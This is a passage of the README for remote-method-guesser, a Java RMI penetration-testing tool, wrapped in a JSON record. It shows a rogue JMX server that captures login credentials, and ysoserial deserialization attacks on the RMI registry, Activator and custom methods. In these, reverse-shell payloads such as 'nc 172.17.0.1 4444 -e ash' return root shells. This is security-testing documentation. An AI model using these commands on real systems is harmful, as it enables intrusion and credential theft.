RMI service(s) on 172.17.0.2:9010  (Registry, Activator, DGC)\n[+] \t[6234 / 6234] [#############################] 100%\n[+]\n[+] Portscan finished.\n```\n\nNotice that the ``scan`` action is implemented in a simple and non reliable way. If possible, you should\nalways perform a dedicated portscan using tools like [nmap](https://nmap.org/). However, the ``scan`` action\ncan give you a quick heads-up on finding *RMI ports*.\n\n\n#### roguejmx\n\nThe ``roguejmx`` actions creates a *JMX listener* on your system that captures credentials of incoming connections.\nAfter creating the listener, *remote-method-guesser* prints the *ObjID* value that is required to interact with it.\n\n```console\n[qtc@devbox ~]$ rmg roguejmx 172.17.0.1 4444\n[+] Statring RogueJMX Server on 172.17.0.1:4444\n[+] \t--\u003e Assigned ObjID is: [6633018:17cb5d1bb57:-7ff8, -8114172517417646722]\n```\n\nUsing the ``bind`` and ``rebind`` operations you can inject this listener into an *RMI registry* and wait for other\nusers connecting to your server:\n\n```console\n[qtc@devbox ~]$ rmg bind 172.17.0.2 9010 172.17.0.1:4444 jmxrmi --bind-objid '[6633018:17cb5d1bb57:-7ff8, -8114172517417646722]' --localhost-bypass\n[+] Binding name jmxrmi to javax.management.remote.rmi.RMIServerImpl_Stub\n[+]\n[+] \tEncountered no Exception during bind call.\n[+] \tBind operation was probably successful.\n\n[qtc@devbox ~]$ jconsole # Connect to 172.17.0.2:9010 with credentials\n```\n\nIncoming connections are logged by the listener:\n\n```console\n[qtc@devbox ~]$ rmg roguejmx 172.17.0.1 4444\n[+] Statring RogueJMX Server on 172.17.0.1:4444\n[+] \t--\u003e Assigned ObjID is: [6633018:17cb5d1bb57:-7ff8, -8114172517417646722]\n[+]\n[+] Got incoming call for newClient(...)\n[+] \tUsername: admin\n[+] \tPassword: s3crEt!\n```\n\n*remote-method-guesser* uses the *ObjID* value ``[6633018:17cb5d1bb57:-7ff8, -8114172517417646722]`` by default for *bind* operations\nand the rouge *JMX* server. Specifying the *ObjID* manually as shown above is therefore not necessary. You can change the default\n*ObjID* value either via command line arguments or within *remote-method-guesser's* configuration file.\n\nThe rogue *JMX* server returns an access exception (invalid credentials) for each incoming connection by default, but\nyou can also forward incoming connections to a different *JMX* instance. This makes it possible to obtain credentials\nfrom incoming client connections without disrupting any services. To forward connections, you have to specify the\ncorresponding target as an additional argument. Targets can be specified in two different ways:\n\n1. The IP address and port of an RMI registry together with the bound name of the corresponding *JMX instance*:\n  ```console\n  [qtc@devbox ~]$ rmg roguejmx 172.17.0.1 4444 --forward-host 172.17.0.2 --forward-port 9010 --forward-bound-name jmxrmi \n  [+] Statring RogueJMX Server on 172.17.0.1:4444\n  [+] \t--\u003e Assigned ObjID is: [6633018:17cb5d1bb57:-7ff8, -8114172517417646722]\n  [+] \t--\u003e Forwarding connections to: 172.17.0.2:9010:jmxrmi\n  [+]\n  ```\n\n2. The IP address and port of the *JMX* service itself together with it's *ObjID* value:\n  ```console\n  [qtc@devbox ~]$ rmg roguejmx 172.17.0.1 4444 --forward-host 172.17.0.2 --forward-port 41001 --forward-objid '[-40935072:17cd9fc77c4:-7ff8, 6731522247396892423]'\n  [+] Statring RogueJMX Server on 172.17.0.1:4444\n  [+] \t--\u003e Assigned ObjID is: [6633018:17cb5d1bb57:-7ff8, -8114172517417646722]\n  [+] \t--\u003e Forwarding connections to: 172.17.0.2:41001:[-40935072:17cd9fc77c4:-7ff8, 6731522247396892423]\n  [+]\n  ```\n\n#### serial\n\n*Java RMI* uses *Java serialized objects* within the client server communication. This makes it potentially vulnerable\nto *deserialization attacks*. These attacks can target different *RMI components*:\n\n* Well known *RMI components* (*RMI internals*)\n  * *RMI registry*\n  * *DGC*\n  * *Activator*\n* User defined *RemoteObjects* (*application level*)\n\n\n##### Well Known RMI Components\n\nWhereas modern *RMI servers* apply *deserialization filters* on these *well known RMI components* (*JEP290*), older servers may still be vulnerable to *deserialization\nattacks*. *remote-method-guesser* allows to verify this by using the ``serial`` action, that can perform deserialization attacks on the *Activator*, *Distributed\nGarbage Collector* (*DGC*) or the *RMI registry*.\n\n```console\n[qtc@devbox ~]$ rmg serial 172.17.0.2 9010 CommonsCollections6 'nc 172.17.0.1 4444 -e ash' --component reg\n[+] Creating ysoserial payload... done.\n[+]\n[+] Attempting deserialization attack on RMI Registry endpoint...\n[+]\n[+] \tCaught ClassCastException during deserialization attack.\n[+] \tDeserialization attack was probably successful :)\n\n[qtc@devbox ~]$ nc -vlp 4444\nNcat: Version 7.92 ( https://nmap.org/ncat )\nNcat: Listening on :::4444\nNcat: Listening on 0.0.0.0:4444\nNcat: Connection from 172.17.0.2.\nNcat: Connection from 172.17.0.2:46209.\nid\nuid=0(root) gid=0(root) groups=0(root)\n```\n\nIn case of the *RMI registry*, the *deserialization filters* may be bypassed by using the [JRMPClient](https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/JRMPClient.java)\nor the [An Trinh](https://mogwailabs.de/en/blog/2020/02/an-trinhs-rmi-registry-bypass/) bypass gadgets. These gadgets create an *outbound RMI channel*\nthat does no longer apply *deserialization filters*. On this channel, deserialization attacks can be applied as usual, but both bypasses were patched\nin the most recent versions of *Java RMI*.\n\n```console\n[qtc@devbox ~]$ rmg serial 172.17.0.2 9010 AnTrinh 172.17.0.1:4444 --component reg \n[+] Attempting deserialization attack on RMI Registry endpoint...\n[+]\n[+] \tCaught javax.management.BadAttributeValueExpException during deserialization attack.\n[+] \tThis could be caused by your gadget an the attack probably worked anyway.\n[+] \tIf it did not work, you can retry with --stack-trace to see the details.\n\n[qtc@devbox ~]$ rmg listen 172.17.0.1 4444 CommonsCollections6 'nc 172.17.0.1 4445 -e ash'\n[+] Creating ysoserial payload... done.\n[+] Creating a JRMPListener on 172.17.0.1:4444.\n[+] Handing off to ysoserial...\nHave connection from /172.17.0.2:55470\nReading message...\nSending return with payload for obj [0:0:0, 123]\nClosing connection\n\n[qtc@devbox ~]$ nc -vlp 4445\nNcat: Version 7.92 ( https://nmap.org/ncat )\nNcat: Listening on :::4445\nNcat: Listening on 0.0.0.0:4445\nNcat: Connection from 172.17.0.2.\nNcat: Connection from 172.17.0.2:45429.\nid\nuid=0(root) gid=0(root) groups=0(root)\n```\n\nDuring it's ``enum`` action, *remote-method-guesser* informs you whether an *Activator* is present on an *RMI endpoint* (legacy *RMI component*).\nThe default implementation for the *Activation system* does not implement any deserialization filters for the *Activator RemoteObject*. Therefore,\ndeserialization attacks on an *Activator* endpoint should always work, even on most recent *Java versions*.\n\n```console\n[qtc@devbox ~]$ rmg serial 172.17.0.2 9010 CommonsCollections6 'nc 172.17.0.1 4444 -e ash' --component act\n[+] Creating ysoserial payload... done.\n[+]\n[+] Attempting deserialization attack on Activation endpoint...\n[+]\n[+] \tCaught IllegalArgumentException during deserialization attack.\n[+] \tDeserialization attack was probably successful :)\n\n[qtc@devbox ~]$ nc -vlp 4444\nNcat: Version 7.92 ( https://nmap.org/ncat )\nNcat: Listening on :::4444\nNcat: Listening on 0.0.0.0:4444\nNcat: Connection from 172.17.0.2.\nNcat: Connection from 172.17.0.2:44673.\nid\nuid=0(root) gid=0(root) groups=0(root)\n```\n\n\n##### Application Level\n\nWhereas modern *Java RMI* implementations protect well known *RMI components* with *deserialization filters* per default, custom\n*RemoteObjects* (actual *RMI applications*) are usually not protected. Remote methods that do not only use primitive types within\ntheir arguments can therefore be used for *deserialization attacks*.\nThis [blog post](https://mogwailabs.de/en/blog/2019/03/attacking-java-rmi-services-after-jep-290/) by [Hans-Martin Münch](https://twitter.com/h0ng10)\nexplains this issue in more detail. *remote-method-guesser* can be used to easily verify such vulnerabilities. As an example,\nwe can use the ``String login(java.util.HashMap dummy1)`` method of the *remote-method-guesser's* example server to perform a\ndeserialization attack:\n\n```console\n[qtc@devbox ~]$ rmg serial 172.17.0.2 9010 CommonsCollections6 'nc 172.17.0.1 4444 -e ash' --signature 'String login(java.util.HashMap dummy1)' --bound-name legacy-service\n[+] Creating ysoserial payload... done.\n[+]\n[+] Attempting deserialization attack on RMI endpoint...\n[+]\n[+] \tUsing non primitive argument type java.util.HashMap on position 0\n[+] \tSpecified method signature is String login(java.util.HashMap dummy1)\n[+]\n[+] \tCaught ClassNotFoundException during deserialization attack.\n[+] \tServer attempted to deserialize dummy class c0ba245a659945bb93a49a3ab4b1e430.\n[+] \tDeserialization attack probably worked :)\n\n[qtc@devbox ~]$ nc -vlp 4444\nNcat: Version 7.92 ( https://nmap.org/ncat )\nNcat: Listening on :::4444\nNcat: Listening on 0.0.0.0:4444\nNcat: Connection from 172.17.0.2.\nNcat: Connection from 172.17.0.2:35377.\nid\nuid=0(root) gid=0(root) groups=0(root)\n```\n\n\n### More Features\n\n*remote-method-guesser* includes many features that are not explained within this *README.md* file. Some\nof them are listed below:\n\n* Almost all operations can be used with the ``--ssrf`` option to create an *SSRF* payload for the corresponding\n  operation.\n* If you obtained binary *RMI server* output (e.g. after an *SSRF* attack), you can feed it into *remote-method-guesser*\n  by using the ``--ssrf-response`` option. This parses the server output as it was obtained by the specified operation.\n* *remote-method-guesser* can be extended by using it's *Plugin System*. Four interfaces (``IPayloadProvider``, ``IResponseHandler``,\n  ``IArgumentProvider`` and ``ISocketFactoryProvider``) can be used to adopt *remote-method-guesser* to more complex\n  usage scenarios.\n* During the ``guess`` action, you can use the ``--create-samples`` option to generate *Java* code that can be used to\n  invoke successfully guessed methods.\n\nMore information on these features can be found within the [documentation folder](/docs).\n\n\n### Docker Image\n\n----\n\nSince version `v4.4.0`, *remote-method-guesser* is also available as docker image and can be pulled from the\n[GitHub Container Registry](https://github.com/qtc-de/remote-method-guesser/pkgs/container/remote-method-guesser%2Frmg).\nFor each release, there is a *normal* and a *slim* version available. Both provide a full working version of\n*remote-method-guesser*, but only the *normal* version ships with [ysoserial](https://github.com/frohoff/ysoserial)\nincluded, resulting in a larger image size:\n\n* `docker pull ghcr.io/qtc-de/remote-method-guesser/rmg:4.4.0` - `121MB`\n* `docker pull ghcr.io/qtc-de/remote-method-guesser/rmg:4.4.0-slim` - `61.9MB`\n\nYou can also build the container on your own by running the following commands:\n\n```console\n[user@host ~]$ git clone https://github.com/qtc-de/remote-method-guesser\n[user@host ~]$ cd remote-method-guesser \u0026\u0026 docker build -t rmg .\n```\n\n\n### Acknowledgements\n\n----\n\n*remote-method-guesser* was heavily influenced by the blog posts of [Hans-Martin Münch](https://mogwailabs.de/en/blog/2019/03/attacking-java-rmi-services-after-jep-290/)\nand [Jake Miller](https://labs.bishopfox.com/tech-blog/rmiscout). Furthermore, the [rmiscout wordlist](./wordlists/rmiscout.txt) was obviously copied from the [rmiscout](https://github.com/BishopFox/rmiscout)\nproject (as you can already tell by the different license agreement). Thanks *Jake*, for this awesome wordlist of *remote methods* collected from different *GitHub* repositories.\n\n*Copyright 2023, Tobias Neitzel and the remote-method-guesser contributors.*\n","project_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fqtc-de%2Fremote-method-guesser","html_url":"https://awesome.ecosyste.ms/projects/github.com%2Fqtc-de%2Fremote-method-guesser","lists_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fqtc-de%2Fremote-method-guesser/lists"}